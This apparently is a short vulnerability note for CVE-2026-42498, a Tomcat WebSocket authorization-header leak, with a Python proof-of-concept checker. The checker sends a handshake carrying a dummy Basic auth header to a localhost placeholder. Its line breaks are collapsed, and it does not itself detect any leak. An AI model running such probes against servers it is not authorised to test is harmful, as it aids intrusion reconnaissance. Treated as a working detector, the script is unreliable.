CVE-2026-42498 Apache Tomcat WebSocket认证头泄露漏洞

import asyncio import websockets async def check_vuln(target_uri): # CVE-2026-42498 PoC Concept # Sending a WebSocket handshake with HTTP Auth headers # to check if headers are leaked to unexpected hosts. headers = { "Authorization": "Basic dGVzdF91c2VyOnRlc3RfcGFzcw==", # test_user:test_pass "User-Agent": "CVE-2026-42498-Scanner" } try: print(f"[*] Connecting to {target_uri}...") # In a vulnerable version, the Authorization header might be exposed # to an unexpected host during the handshake process. async with websockets.connect(target_uri, extra_headers=headers) as websocket: print("[+] Connection established.") print("[!] Monitor the network traffic or backend logs to verify header leakage.") await websocket.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual vulnerable endpoint target = "ws://127.0.0.1:8080/ws/endpoint" asyncio.run(check_vuln(target))